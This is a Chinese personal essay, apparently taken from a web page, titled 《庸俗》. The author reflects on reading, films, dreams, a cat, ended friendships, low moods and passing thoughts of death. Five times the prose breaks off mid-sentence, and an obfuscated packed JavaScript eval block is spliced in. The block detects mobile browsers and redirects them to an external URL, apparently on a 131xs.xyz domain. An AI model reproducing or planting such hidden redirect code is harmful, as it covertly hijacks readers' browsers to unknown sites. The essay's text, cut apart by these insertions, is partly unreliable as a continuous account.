《庸俗》 1. 序言 手机电量已充满100%，但屏幕上并未显示提示。 我之于不理解自己就像不理解在麦稻上盘旋的虫鸟。一看，一写，似乎也理解了，但总是要有这个过程。 读《蒙马特遗书》看见那句“相爱相分离又重聚首”突然想来写点什么，但是就像曾经信步书写也是努力回忆其中细节。我写的顺畅，天然就有兴趣天赋记录生活内容。 我已经忘记看到那句话泛起什么感受又想起什么东西了。但我喜欢庸俗这个名字。 细细数来，曾经的一些名字。 一定要每天变得碎碎念、我们不能就这样走过、每一天都很重要、它没有名字、找到你的那一天、简约·一生等等。都比不上庸俗这个名字。 昨天看《花束般的恋爱》拉片，最后一条，“分手的本质是第二次告白？小娟到底有没有出轨？” 在讲摩天轮那里的时候她说：“他们都默契的不喜欢夜景，默契的不喜欢千篇一律的浪漫，自然也不会迷信那种，在摩天轮上接吻，就能相爱永恒的都市传说。” “而此时更加平静直白，它远比令人不安的躁动更加残忍，它的含义是，在那些符合人类底层代码的，最寻常的浪漫里，我们的心已经不会因此而悸动，它的含义是，我不愿意和你一起庸俗了。”不对，是倒数第二条，最后一条她还没剪出来。 我已经太久太久，忽略了周围的风吹草动。我的家人都看出我的精神在一种下沉状态，但无人打扰我到底在做些什么。 有过好几次我问妈妈，我说妈妈你有看出来我有点抑郁吗，她说她有，但是没办法，至于没带我去看医生她说她觉得那些人都是骗子。我笑不出来。 但是其他的女性长辈知道，我没有抑郁，她说我在想什么东西，但是想不了几年，我不会一直想干这种事，我说，是的。 然后那个下午他们就打算睡会觉出去剪头理发，在此之前，其中一个人说，下雨了，快收被子。其他人都说下不大，她信誓旦旦说绝对下大，大概下三个小时，还问我信不信她。 另一个人说下一个小时就算老天爷给力了。我说众口难调，应该会折中一下，反正是不会让任何一个人得逞的。 也没让我得逞，它下了两个小时。嘻嘻。 我笑的停不下来。 最后我也没有出门，在还在下毛毛小雨时我突然回了我家洗头，等我洗完再回来，他们已经走了。 离开的时候我还在想为什么我偏偏这个时刻要出门，明明一点都无法预测外面的小雨是不是还会转大，他们走了后我就继续待在那里吹空调，打算继续写完手里的东西。 后来没一会他们就回来了，我恰逢需要，她恰好带回三块糕，第一块很好吃，第二块就不好吃了，我剩了一块。我就回家了。 一代人有一代人的交友。 最近除了梦见很多人，做很多光怪陆离的梦，是因为它不再是我早上只记得一个梦，梦里的人物还单一。 不梦到那个人之后我发现梦里人很多我也不会觉得醒来了不舒服了。 今天梦到家里在消毒查杀，有门内门外两个世界，我从门外进入门内，门外的我的老师和她的女儿，老师身体臃肿还在教课，她女儿在很高的平台不下来，防止感染和被感染。老师在我发现这世界有一种病毒之后就让我快点回家吧，也不用上她的课了。似乎知道这事之后我自动解锁了我有自己家人的记忆。她还不能走，她还有一些学生，可她自己已经感染了，也害怕自己女儿出事，所以让她无忧。臃肿之后会变成怪物，但她强撑着传道受业解惑。 我知道老师绝对不会变成怪物。 我回家之后奶奶就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423118|184815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在东房消毒，而我自然而然负责西边了。这么大的工程让我一个小孩负责。 后来出了门我们要过一个传送带，我看见我爸爸在我前面，但我不在传送带上帮他们整理物品，等到了终点才发现传送带只是一种游戏，还得下来，那些物品也不需要整理。 我想起来之前为什么总是喜欢做梦了，因为很有趣，我总是可以在梦里玩游戏，比如现实我不会去试试玩水上乐园，但梦里就会玩个遍。我以后应该也不会玩水上乐园，除了门票、水、人力成本，我还玩的不爽，我还懒，没有梦里畅快，所以我应该一辈子不会玩，但也说不定。 太讨厌了，人们总是讳莫如深，搞得我病变了，文字都有什么隐喻。真不痛快。 我再也不用给自己的文字设置任何隐喻了，我快吐了。 前几天不舒服的状态不能有语言形容，如果说从前的日子，那大概就是范进中举得知消息的一瞬间走马灯，眩晕，晕厥，死。 或者，那就是客观唯心存在的我的活化石本人。 我把自己吐尽了，肝胆欲裂。而没有隐喻，它的含义是，人与人之间永远不可能真的理解什么叫唯心唯物，但人们永远用语言围绕着这一名词在概念和范围。 前几天有点像形而上唯物。真的很难受。 真是一场酣畅淋漓的交手啊。 过去我总在校正准确，不疯魔不成活里，差一分一秒都不叫一辈子。 焦虑、抑郁、失眠，啊，哪里我就不是一个庸俗的人了。我，庸俗，庸俗！ 这样看来浪漫反而是庸俗的，嘻嘻。 欢迎来到庸俗的世界。这个世界充满了规则怪谈，随处可见的甜言和浪漫。 它很有趣，我很喜欢。 “我们怎么告别呢？” “像当初见面那样。” 2. 一 8月19日下午四点 从猫胸摸到猫腹，它的右腿和尾巴还卡在我的胳膊下，肩膀一如既往的不舒服，和整条脊椎已经三年了。就按照2021年冬，2022年初春，2025减2022来计算吧。 猫咪伸了个懒腰后从沙发上跳下去，我换了个方向后，它绕了一圈又在我的小腿和沙发缝隙躺下去。它好软。我觉得身体不舒服的日子也好像《花束般的恋爱》里的停表错觉，总是以为日子已经过了很长很长。 大脑主观认为时间很长。 很难说当时在地上失去意识一秒又恢复，不知以何种姿势被对面司机抱在怀里，那时候想到了什么。 不过我真想说“燃烧殆尽症候群”，“人全身心投入到某种活动之后，如同燃料燃烧殆尽一样，失去了拼搏动力。”我燃尽了！ 在用每一天都很重要做名字的时候那个博主说他是怎样利用每日把重要的消息分类记录下来，只花了两年就让自己的生活有一大步质的飞跃。我没信他。但他没必要骗我。社交媒体一切有迹可循。我没记住他说的什么，现在也忘记了在哪里看到的这条视频，但总之，三年，我燃尽了！ 我不知道之前写的文字是从一倒退为零，还是从零无到有一的进步。我自己不堪卒读，立马扔书。一些长辈对我说，我从零开始了。 反复对人提及的两本书是《窄门》和《局外人》。其实我更喜欢的是《蝮蛇结》和《惶然录》。再往前是《汪曾祺传》和《致女儿书》吧。追忆到我的高中时代就是《苏东坡传》和《巴黎圣母院》。 不剧透的一些是《先知：我在上帝的心中》，《萧红传》，《怨女》，《月亮与六便士》，《你当像鸟飞往你的山》，《没有什么了不起》，《罗生门》。 在我都没有打算会从零开始的时候她跑过来跟我说，不知道你这两年干了什么，怎么从头开始了！我震惊脸，学习！根本不敢说自己在研究什么“阴谋诡计”。重开重开。 重开真的好难，剥皮拆骨褪去身上留存的所有不属于自己的感受，这个过程不亚于自己亲身感受小说里，“飞升”是一个骗局。 哪里就累死我了呢。我就工作。哈哈。 下午吃过午饭我又在看《花束般的恋爱》拉片，打算从头看一遍她讲的，突然就想来写东西，嗯哼，写。 我又想到有一天我要去考试，怕赶不上车我一个人步行了三公里，那三公里在我脑内反复预演大山女孩每次上学要翻山越岭的遥远，从天漆黑走到天亮。最后我一路换乘了好几辆车，遇见高速路上一只被撞死的狗，总之在准时，不多一分不少一分，到达了目的地。 猫咪睡觉还砸吧嘴巴。 《花束般的恋爱》描述他们一晚上暴走十公里，“就像他们两明明也知道，相遇那天到底要走多少路程，恋爱就是要在心知肚明的情况下，推拉暧昧。” 呜呜，我不是满脑子情情爱爱的人，信我啊兄弟。哈哈哈。 我是靠自我价值驱动的人。但在完全明白什么叫价值，他们说的规则，我认为的规则，别人定义的价值，我信仰的价值，这一切之前，我得先明白这些都是谁说的，和他们说的对吗。 到现在我也不知道谁说的对，但是已经不重要了，重要的是我发现真正的强大不是什么允许一切发生了巴拉巴拉，是守住自己的世界。什么允许一切发生，我就不允许！ 主动时停错觉的一个好处，我的典型特点是脑内跑数据，学习一门课当然要上课做题实践出真知，但是我仪器简陋，就像在家做化学实验肯定没几个烧杯。有的那叫实验室。 但原理还是那些原理。我明白氯化镁加浓硫酸在加热情况下会置换成硫酸氢镁和氯化氢气体就行了。那些气体，就是我想放弃的高雅。庸俗的反面。 我喜欢成为一个庸俗的人，它很美，这个名字，这个词语。 就像我家猫总喜欢在房瓦上睡觉，不亲人，但它也想凑近我，可无法和它的天性违背，所以它只喜欢在我腿间，不喜欢手臂一侧。 若干年后，人们不注重精神的时候，当无法用物质解决的时候，他们就只会怀疑有没有了。有没有精神？ 有的，书写的这一刻，字汇成句，句汇成章，章汇成书的时候。 早上的时候还在想《庸俗》应该怎么开篇，这个疑问就像邱妙津在《蒙马特遗书》里面天然认为，这本书她会写完的，如果可以发表出去。她相信人类没有一句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423119|184815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话是废话。她相信她给絮的信都值得读。 我一直在实验从前我写的文字值不值得一读，它值得，但是我不想让它降临了。“胎死腹中”，用《窄门》里阿莉莎写的话：“重读日记，然后焚毁。” “伟大的心灵是不屑于散布自己所感到的惶惑的。” 真是一个漂亮的小姑娘。 自从养了我家的小猫之后，我发现它那么洁癖给自己舔毛，观察它总是不忍，不知道是不是自己并不洁癖但会频繁洗手的行为的惶惑。 但我们不必想象西西弗斯是幸福的，觉醒什么荒诞精神，猫咪舔毛是快乐的。我写字也是。除了交稿。 昨晚想的时候想的是我要重写山本耀司，我喜欢他。在我每日中午吃饭都会放那个博主的视频，第一次听到他的故事的时候我就决定喜欢他。 人类并不寂寞，尼采、梵高、贝多芬，薛之谦、邓紫棋、朴树，那么多人陪伴着我们，陪伴过我们。人类没资格孤独，那是天才和疯子的事。 还是很骄傲文森特·威廉·梵高说“我梦见了画，然后画了梦。”我写过一个类似的，“我梦见了生活，生活了梦”。 当时以为仿写不是我的精神，小心翼翼守着自己的世界，现在——如何呢，又能怎。 “优秀者模仿，伟大者剽窃”。曾经觉得我的灵感抄了就抄了吧，现在不行，版权所有翻版必究。为我们伟大的著作权致敬。 我也不知道何时会再整理那些我曾经的文字让它降临，但我忙着造我新的“孩子”，《庸俗》。 他们也许会再出现，也许不会了。 我是飞奔的孩子，来不及等待任何人。 想起来《戒断反应》的歌词：“祝我能戒的断还能愉快，祝你困在遗憾耿耿于怀，不重要了就当是场意外，互相浪费互相折磨，不如好聚好散。” 祝别人耿耿于怀不是什么好兆头，但是，人类与世界的关系，绝对自由，就是——独立和自由的工作。我的虚拟现实的哥哥说的很棒，醒来了我想了很久，发现现实里没有他的原型，就很开心。 我并不喜欢哥哥和姐姐他们这样的身份。所以他是我唯一不讨厌的哥哥了。 我爱工作。 3. 二 8月20日清晨零点 今夜辗转反侧。一闭上眼睛大脑就在活跃，不知道自己几次出入庭院，坐在黑色的天空下了。过了零点风也停了，天空上淡淡的几片云都没了，只剩下那些晶亮的星了。 我的一只眼睛还近视五十度，压根看不见星星，很模糊。 不想在这个时刻转战APP敲字。但闭上眼睛身体困了，脑子它不想睡。 在逛软件的时候看见关注的店铺新出了一副卡集，名叫《降临》，是不是下午一直写降临这个词的缘故？ 于是就这副卡集想起一些“分手”的旧人，如果我没钱买那副卡集，朋友还说“救急不救穷”，那我会卖二手物品把钱凑出来买那副卡集了。 不知道大家有没有听过一句话叫心穷和心不穷。救急不救穷，这句话是什么意思呢？ 那句话大概是人穷志不穷。嘻嘻。 关于一些恩断义绝的旧人，在零点之前看《蒙马特遗书》的时候我说看完这章回去睡觉吧，好吗。自己哄自己。我说，好的。但第三次准备入睡时都没睡着，爬起来敲字。 已经看到第十九章了，还有最后一章这本书就看完了。坐在院子里大致翻翻后面大概有几页的时候想到完整的不停断的看一本书是一种天时地利人和的很多偶然能导致的必然。 脑子又拐到“爱是天时地利的迷信”这句话。怎么没有人和呢？是不喜欢吗。哈哈哈。 有一部电影也叫《降临》，我很早就看过。没有过二刷，但看拉片。 我在看《窄门》和《局外人》的时候是太天时地利人和的必然。 《窄门》是在家里看的，没告诉任何人每日行程的时候这本书看起来意外的顺畅，两天就看完了，挨着的两天。《局外人》是在火车上，中间间隔了几天，往返两地的同一时刻同一辆车，不同日期，我带着那本书，装进包里，看完了这本书。 这些恰逢其会的偶然，让我向命运兑奖，读完了整本书，思想上不停顿，一直连贯。 有一次和朋友见面的时候去公交车停靠站的路上我说祝我新书大卖。她很激动，为我高兴。但我怎么会告诉你呢，那是还没影的事，但我就是知道。就像一个人还没生过孩子，但她知道自己未来有个孩子。 刷到过一个人物，没看过这个故事，叫凉冰，她说“你来过去找我，未来，我不在你身边吗”，爆哭，当然没有。评论区有个评论：世上最大的讽刺。堕落天使的翅膀是白色的。 有些人就像一本书，有人只能一万字就完结，有人十万字完结，还有的书可以写一百万字。 所以我就变成一个很痴的人，我向别人安利一定要去看《窄门》，你们真应该看看《窄门》和《局外人》。 昨天上午的时候恰好刷到一起评论这两本书的，让我看看是什么情况，当头棒喝。他言之无物。不过这种巧合，太不可思议了。专门让我看见似的。 不知道第几次尝试入睡的时候回忆《花束般的恋爱》后几集的拉片，突然想起来了一些，就是在恋爱美好的开始，一些被忽略的威胁。当时谁都没注意到，于是结局理当如此的烂尾。 恋爱是一个人的事，两个主角的恋爱是他们“我们”的事，但是“我们”是两个人，恋爱还是一个人的事。 妙津姐姐喊破天絮别离开她，也不行，问一百遍你不会舍得把我毁掉的，对不对，也不行。 这几年做的事都像一场梦，梦快要醒的时候我拼命想留住一些人，但我怎么说出口，我快醒了呀，你快抱抱我。不能，不能说，因为我知道圣经说，“别惊动它爱的人，等他自己情愿”。 写不能说的时候终于哭出来了，但是太好了，终于不再错轨了，我的一个长辈去世的时候家里人因为我在上学瞒着我，等我冬天回来了才知道这件事。后来去他家找我妈，一路上恍恍惚惚，一到他家突然蹲在门口哭了。我心里清清楚楚我压根不相信人会死，但这肯定被别人当成神经病。后来我就不再经常跟别人说“死亡是另一种存在形式”，我自己写出来的这句话了。 现在想来很感谢那一场哭泣，掩盖了我本心的无动于衷，也顺理成章的把世俗搪塞过去了。 不想用我的心为别人哭泣了，哭的心都死了，所以我说不想给任何人以精神力的支撑，我只想用眼睛看，用眼睛哭，给我的身体排排毒也是好的。我是一个残忍的人。 前段时间最后剔除不梦到的那个人，是一个旧人，最后在处理她的时候，“歇斯底里”想留住对方，让她给我买《伊甸园之禁》的卡集，她拒绝了。删除她的那一刻我彻底轻松了。因为我也不想要。 想要又不想。买卡集是我做梦醒来后最想要的东西，我看中了必然想要，得不到也无所谓，我有很多卡集，也看过很多本书，我并不真的需要再多一副卡集，或者一本书。尤其还要分辨这属于锦上添花还是雪中送炭的类型。 邱妙津反复“逼问”絮，“我们不要像这样分开了好不好”，我在几年前不读她的书，是我当时还不理解一个人要呕出多少心血写出这样一本死亡之书。她受苦了，但纸上谈兵。 那时候我的命运易碎的也像她的著作，经不起看她书籍的纵我注意力。我从来没有过抑郁症，我是心碎。 我早就心碎我找不到方法救自己，和救更多像她一样易碎的人，或者说，我想留住那些天然的扬起的微笑。我不懂什么是微笑。 难受。我不能回到过去，但我知道一无所知的过去的那个人年纪尚轻，是不会因为外界的目光而感觉苦恼的。但长大的自己会反反复复回到过去。但时光不停息，认清现实吧，根本回不去。我自小就盼望着长大。 长大可太有好处了。能做选择就是一种权利。我盼望拥有这样的权利。没有欲望深重这一说法，一层层剥开自己你会发现你根本没有那么多想要的。 其实我老喜欢哭了，因为那些哭过的日子，哭完了睡得比正常情况下香。 就是后来大家讳莫如深了起来，我只能也告诉大家我很“痛苦”，于是他们看我笑话，笑的很开心，我也是。 有一个很直观的感受是外来人员，尽管我们互相拒绝了对方。在梦里，我拒绝了向她解释为什么我根本不恨她，她拒绝了我最后拥抱一下她。后面彻底分道扬镳了之后我没有把她逐出我的梦，是我在等她向我询问，我还想告诉她答案，不像蚂蚁兜兜转转。 她不问，她不找我，她在我梦里晃悠。让我看见她，又格挡着人群，我压根不想再触碰到你。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423120|184815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以我把她逐出了我的梦。 于是我终于不再难受。就像絮抛弃了她，不让她打扰自己的新生活了。 如果说《蒙马特遗书》是我看旧人1的冗长“借口”，那王尔德的《自深深处》就是我想让旧人2看的我的冗长“借口”。 但是还好我是在推荐书，我早知道不可等量齐观，所以从没奢望谁读懂我的隐喻。我是一个残忍的人，旧人3就说，我一直以为你是一个“恋爱脑”的人，突然有一天你就变了，把所有人都删了。真不可思议。 当然了，不杀伯仁伯仁却因我而死，怎么可能呢，我怎么可能让你有机会以“舆论”的方式在未来置我死地呢，绝对不可能。我必杀伯仁，亲手杀。一刀一刀杀，钝刀子割肉杀，哈哈哈。 一说我只会把四归到我身上，我说我只会把二归到你身上。我对四说，我后悔认识你。二来找我说，我就那么看不上她吗，不说一声就把她删了。 三说，我当时没有五十就表示这是命运。 五说，不用找我了，我们的感情我觉得也就值一百了，我删了。 倒霉的小六，花了一百五十还被我又删了。 我对七说，好友位一人一百，建议不要与我产生纠葛。 还有一些人，已经清醒，不问别人这刁钻要求，我彻底消失是对他以后生活的最大尊重。情深缘浅，情深不寿。萍水相逢，缘分天定。事在人为，听天由命。畏天知命，人定胜天。 我不杀伯仁伯仁因我而死，伯仁的死与我有间接关系。我敬佩打得过自己的人，我只看不起一种人，打不过自己的人。 我好心碎，我讨厌别人间接“杀”我，我先死一死，让我们有直接关系。我“杀”我自己，而后杀你。 实在是走到了死胡同。没有人怪你，妙津姐姐。 有一天我问我此时想死，怎么办，我的卡集告诉我，世界正位。 那时候心也无动于衷，眼泪居然也要流不下来了。不知道在这过程我的眼睛怎么了，有时候会怀疑之前是不是把泪哭干了。有两次头疼的厉害，只要哭一下就会缓解身体的难受，但是哭不出来。硬着头皮在床上蛄蛹。 世界上没有超能力可以让爱人一直穿越回过去，避免每一个对方的想自毁节点，所以最伟大的爱不是让想离开的人留下来，是让想离开的人，把权利还给他，自己选择去还是留。 但是，请活下去。 不过必要时候我真的会像默尔索。 权利是个好东西，比如言出法随。嘻嘻。 “他说他一直在研究我的灵魂，结果发现其中空虚无物。他说我实际上没有灵魂，没有丝毫人性，没有任何一条在人类灵魂中占神圣地位的道德原则，所有这些都与我格格不入。” 我喜欢山崩地裂时我们可以拥抱，但请允许我说山崩地裂时我可能想一个人坐着。 我不想浪费时间说你跳我也跳，有没有可能老子会游泳。老子早下去抢一块木板坐上了。 晚上的时候看到一个短剧，啊，真希望前任们都回来，他们吵架我看戏，明面上互相争论不休，背地里一个接一个给我转账，生怕慢了。 我们一锅人把日子过好比什么都强，有人骂我？上，你们一起咬他！ 4. 三 8月20日正午十二点 原本想着今天又是一个人等清晨，看过那美丽的天空从普鲁士蓝到天蓝色再到天青蓝的转变。 突然想到有个人说我懂得很多，在她那里买东西，什么小配件都说的上口。现在想想大概是因为写字需要不停的翻字典和检索。保证自己用的每一个成语没有曲解意思。 经过不停的写写写，现在的好处是更能精准和迅速的运用字词的排列组合了。精神上不受力，越写越开心，越写越轻松，快乐。爽利的人生。 吹毛求疵的注意段落、标点、用词、何时结尾、添一字减一字，绞尽脑汁，焦头烂额，焦虑压抑，现在不再有丝毫笨重了。 写到凌晨三点，自己读过至少五遍检查错别字和段落后我终于明白了为什么睡不着了，因为零点之前的天地有风但是太热了，这个真空的地界被一团暖融融包围，让我无法安置我的身体。想起来自己以前天热硬睡，想想也是很大的意志力。 就像人在干坏事时不嫌麻烦，自己和自己玩也不嫌费力。硬睡，想想就很好玩。然后热一头汗醒来，也很精神。 以为总是不眠不休的等天亮今天天亮了又要不舒服了，四点多的时候又读一遍检查错别字读着读着就困了，后来强撑着看完后天气也凉爽了下来，我就盖上肚子睡去了。 醒来了早上九点接近十点，睡的很香，似有所觉又无所觉，很清朗的醒来，没有一丝不适。看来只要把想写的东西都写下来，精神很安逸，身体也受益。 提到偶然之于必然，以及相反，总想提一提当初的精神发烧。 也俗称电脑最核心的硬件组件，中央处理器，CPU烧了。 看重性抑郁障碍和双相情感障碍这两个名词的区别时我才第一次了解到双相是什么，和我自己的现实情况对比，都不是也不像，用看剧，一个博主的想法吧，不知道说什么她就“病”吧。我也是，不知道怎么表现就“病”吧，别人理不理解，我并不关心。 但我还是关心的，我关心我自己，所以关心我的同类，就是清晨写的我心碎，我不愿看到你流泪的眼睛～望着他的背影。 “我不愿看到你委屈的表情，像个乞丐等待他来临，抚平你的心灵，在没有你的夜里。” 我总说太多人需要我，所以来不及等待你，而事实真是如此。 高中有一天我和同学结伴去吃午饭，不记谈论到什么，我说在其位谋其政吧，她说当一天和尚撞一天钟吧，我说完后她说自己很不会用词，我就会说在其位谋其政，写这段时我回忆起我和她对话的先后顺序，以为是先前人占走了话语，后来又想起性格底色的差异。我当时没说什么，比起关心她的失落情绪，我更觉得不如吃饭来的实在，我饿了，哦，现在也是。 我想说的是，在为自己人生加冕的时候，我把一些并不平等的偶然和必然抬得太高，失了重心，产生怨怼。临到终点时我也不想让我的心充满蛇结，《蝮蛇结》里的男主人公路易明白的太晚了，被内心的蛇结心理折磨漫长一生，我的人生很贵，时间很贵，我没心思把注意力放在这上面。 从从前一直是选择不改变人，后后来我尝试一下改变人不选择。先生们，实在是这是无法想象的事情，我们都知道，人能改变的只有自己呀，想改变世界，做梦去吧，饿鬼们。只有越来越多的本身就是正义的人，才能撬动世界。 我对《蝮蛇结》和《惶然录》的喜欢到达了逐字逐句都喜欢的程度，根本不是喜欢《窄门》和《局外人》的情感指向。我偏向于心理分析，但是我不喜欢做心理医生。或许我也是一个好的“心理医生”，毕竟真正的医生需要有冷静冷漠的态度，是死是活都不能哭，不然病人家属还以为你害死了病人，专业工作要有专业态度。 刽子手每天杀那么多人哪有时间哭啊，只会说自己砍人砍的累死了，朝廷能不能别天天让他干活啊，那些人不想活的能不能别天天干杀头的事情，去别的地方找不痛快好吗好的。 喜欢黛玉妹妹，只是为一个人还泪这一生是个折磨，不过她没有不快乐，不需要西西弗斯的幸福，只是泪尽而亡，两不相欠。如果都是下凡历劫，那回去了也只是同事关系。 玩玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423121|184815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而已，你要是当真，就是你不懂事了。 “玩一玩还当真，那就是你不懂事了。” “人是漂泊的鸟，爱是宜居的岛。” 我很喜欢《天使之城》这部小说，但是我没看过。 我也不知道我在干什么，不过大部分故事都未领略过，只了解过他们的注脚，注脚也已经足够了，鸟真正的岛是死亡，我对死亡的迷恋恰恰和对它的同生兄弟生的迷恋是一样的。 对我来说，爱的另一个样貌就是生吧，不是自由，不是生命，不是生活，也不是死亡。爱就是生和死。单纯的两个字。 “你再努力看看啊，说不定就抓住了。” “萍水相逢，缘分天定。” 《CityofAngels》这个名字很像我喜欢的一首歌《CityofStars》。想起来有一个人问我我最喜欢什么歌，我想了一下说我最喜欢《Soldier》，SamanthaJade唱的。 “难道你不想做我的卫士吗？你愿意为我而战吗？为我牺牲？……你把我从危机中救了出来，却又让我中了爱的魔咒，现在我向你敞开我的心扉，我绝不退缩，你让我痛苦并快乐着，你意欲何为，究竟想干什么？告诉我你在哪里，我方可停止脚步喘气，因为一切变得毫无意义，我不想就此结束，来帮我摆脱爱的困境吧。”歌词是这样唱的。 我想知道有什么东西能超越爱。就是自由。 我不喜欢加缪的“荒谬当道，爱拯救之”。我要让荒谬滚蛋。实在无法苟同他的意志，但不吝啬我赞美他的《局外人》。他大概也知道我不喜欢他，所以我自始至终看不下去《加缪情书集》，他自己喜欢这个书名吗。估计也没机会辩白了。 我喜欢我的《庸俗》。 我精神的呕吐造就我现在孜孜不倦的笔耕不辍，这就是我精神的高烧，早就想把呕吐物吐你脸上了，没和你对骂，你以为我是个傻子。好了，他们经常称呼我有病，得治。 没关系，我和大家笑的一样开心。 谨以此书献给甜松饼，这个虚构的笔名。 5. 四 8月20日晚上八点 我好困。希望以后我可以成长为迷人的反派角色，我的庸俗呀，快快长大。 有一只蝴蝶飞进来的时候停在了我屋内窗户的窗棂上，想起来之前救过两只蝴蝶，那时候还说蝴蝶怎么老栽进水里。很小，那两只蝴蝶只有指肚大小，我也不知道我怎么就在盆子里发现了它们，用手指伸入水中自上而下让它们趴在我的手指上时，我在想快干掉，让我把蝴蝶尸体扔进草丛里。 有一只是性缩力极强的蓝色，有一只是灰扑扑的，下午飞进来的那只比他俩都大，五厘米左右覆盖，黄色斑点的。 我看它的时候从手机里抬起头，是谁来看我了？嗯？小蝴蝶。 窗户大开，我凝神注视它一会后它就从窗户那里飞出去了，找的很准，一次成功，我没看它时、错眼看它时，它跌跌撞撞碰了好几下窗户。 人们在做薛定谔的猫，这个著名的思想实验时，本来是质疑量子力学叠加状态的脑洞，但笑着笑着突然反应过来，引发了对观测影响现实的思考。我对旧人八说，看双缝干涉实验，看一万遍，你会懂的。骗你的，不然怎么又会有教父那句“用一秒看到本质的人，和半辈子看不清本质的人，命运自然不同”经典语录。 世界上蓝色的水果很少，蓝色不易引起人的食欲，蓝色也用来描述性缩力。 邱妙津在《蒙马特遗书》里面说死欲、爱欲和□□，三者最强烈的时候是一致的。与其说我在思索和她一样的东西，不若说我在单纯思考文字。 古往今来多种文体，就中国就有文言文、散文，诗词歌赋，小说、随笔，日记体，对话体，杂记，手书，我讲的不好，我不知道我在说什么东西，总之我想表达的就是那种东西。 我想知道这个单纯的一个字是怎么笔画成字，他们写出来构成形状，他们又是什么意思。古文精简，性，性格、本性，□□是什么，本性的欲望，性格的欲望，亦或是身体的欲望，在句子里他们应该怎么用呢，做动词还是名词，于是这样反反复复，构成命运的共生。它是命运的寓言。 史铁生说“不知道命运是什么，才知道命运是什么”，他的《务虚笔记》《我与地坛》都看了，就是没有时间看《病隙碎笔》。看《务虚笔记》的时候我的角度是里面所有出现的人物，C、X、Z、O、M、F、N、L、WR、A、B、HJ。除了AB不重要，其他各有各的故事，我对一个人说，什么嘛，他们都是一个人，她说他们不是，我试图告诉她为什么他们都是一个人，我发现我解释不清，现在可以解释清楚了，因为都是作者，史铁生。 就像我在电影院看的第一场电影应该是《阿凡达：水之道》，一场只有十个人，在去之前我对一个朋友说我知道十维是什么，看电影的时候我对她们说他们不是在森林里吗，怎么来了海边，我硬说海边和森林他们不是一个人吗，他们在说电影，我说的也是电影。这样的无法相信就像柏拉图的洞穴理论，互相以为对方是疯子。 我最喜欢诗人L，变成傻子还是会喜欢。沉浸在自己的艺术里不知天地为何物也无法从一个人变成另一个人，我只会是我。我知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423122|184815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道我爱你的时候就知道我不爱你也不能爱你。 我循着你爱我的痕迹发现了你不爱我，我循着我爱你的轨道得出我不爱你的结论。 你未看此花时，此花与汝同归于寂。你来看此花时，则此花颜色一时明白起来。便知此花，一直在你的心外。 什么叫客观唯心，我并没有用概念来证明自己，我也没有和万物对抗，我只是想什么都不借用，空想，我不学习客观唯心的学校哲学课程教授的理论和知识，来知道什么叫客观唯心。 我不会用死亡来证明自己的正确，我不认同好死不如赖活着，我也不会像李清照一样图后世功勋，同样的，我不可能用一生以及永生永世来和你绑定爱情。甚至不可能三个月。 自从上了大学后，有一天她在我出车祸后告诉我，你去做你想做的吧，这几年，你想要什么都会得到的。 当时我哪知道我想做什么，至于成功？我本成功。 后来就一路急转直下了，我用错了我的天赋和努力，她突然来问我，你怎么从零开始了。 因为我喜欢《庸俗》，问就是我想找到这个名字，再问，你死定了。 哈哈哈。 